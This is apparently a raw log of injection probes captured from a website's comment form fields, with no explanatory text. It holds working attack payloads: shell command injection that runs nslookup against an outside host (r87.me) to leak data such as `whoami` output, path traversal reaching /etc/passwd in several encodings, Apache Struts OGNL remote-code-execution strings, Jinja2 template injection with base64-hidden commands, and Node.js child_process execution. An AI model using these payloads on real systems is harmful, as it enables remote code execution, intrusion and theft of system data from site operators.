3

3

3

3

'&nslookup "zt9p3ydc3a5l-tq71swvrsfv37wyc-0yrb0sui5c""h1i.r87.me"

. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /etc/passwd

3

'&nslookup "zt9p3ydc3afgyuuayv9zvyvjr0eikxekw8jmjcpr""eiu.r87.me"

3

1/../../../../../../../../../../../etc/passwd

3

3

3

"&nslookup "zt9p3ydc3azd1l2y96-zuxw_bo_barpl0zkjsljn""nxq.r87.me"

3

/etc/passwd

3

"&nslookup "zt9p3ydc3a-czz_rtvynimvmjqefm_x3cm90xrq2""wzc.r87.me"

3

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

3

3

3

|nslookup${IFS}"zt9p3ydc3ajbzbaz3qsjgi97na0iwjodd3kvsmqd""bnc.r87.me"

data:;base64,TlM3NzU0NTYxNDQ2NTc1

3

3

3

|nslookup${IFS}"zt9p3ydc3arqmxltknlkzb2ol8rfbtxynsg9cpyj""8c0.r87.me"

comment_node_msm_consortium_meeting

3

3

3

3

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nslookup `whoami`."zt9p3ydc3az3z4-on1b_etzj5ydh7vy6iycz3lrp""ogq.r87.me"').(#p=new java.lang.ProcessBuilder({'/bin/bash','-c',#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

comment_node_msm_consortium_meeting

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nslookup "zt9p3ydc3aemklc6nbqtvktwih8ry0e6vc7nbeh3"cma.r87.me"').(#p=new java.lang.ProcessBuilder({'cmd.exe','/c',#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

3

3

/comment/reply/node/6201/comment_node_msm_consortium_meeting

{{__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgenQ5cDN5ZGMzYWgxaG96N20xZmpjeHZsY2R1ZGx3Mm9tZmV0Y3hhZV9zby5yODcubWU=')).read()}}

3

3

3

{{__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgenQ5cDN5ZGMzYXVsejVqZXVseDJpZnEwdGd4ZHhiZ3oyMHdib2xrdWJqZS5yODcubWU=')).read()}}

3

/reply/node/6201/comment_node_msm_consortium_meeting

{% set d = "eval(__import__('base64').urlsafe_b64decode('X19pbXBvcnRfXygnb3MnKS5wb3BlbihfX2ltcG9ydF9fKCdiYXNlNjQnKS51cmxzYWZlX2I2NGRlY29kZSgnYm5Oc2IyOXJkWEFnZW5RNWNETjVaR016WVhWc1kybDBaWEo2ZGpaMFlYRjViR2t0WjE5cWIyZG5aMnhuYW1wM1luaHNZeTV5T0RjdWJXVT0nKSkucmVhZCgp'))" %}{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval'](d) }}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}

3

= global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgenQ5cDN5ZGMzYWozam1pbGdicWQzM3k2em9xdHB4aHg5dWh4NGxhamt4bS5yODcubWU=','base64').toString())